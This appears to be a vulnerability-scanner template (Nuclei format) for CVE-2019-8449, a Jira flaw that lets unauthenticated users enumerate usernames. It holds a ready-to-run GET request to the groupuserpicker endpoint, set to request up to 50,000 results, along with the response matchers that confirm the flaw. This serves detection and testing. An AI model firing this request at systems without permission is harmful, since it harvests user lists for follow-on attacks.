id: CVE-2019-8449

info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
  author: harshbothra_
  severity: medium
  description: The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.
  reference:
    - https://www.doyler.net/security-not-included/more-jira-enumeration
    - https://jira.atlassian.com/browse/JRASERVER-69796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-8449
    cwe-id: CWE-306
  tags: cve,cve2019,atlassian,jira,disclosure

requests:
  - method: GET
    path:
      - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - '{"users":{"users":'
        part: body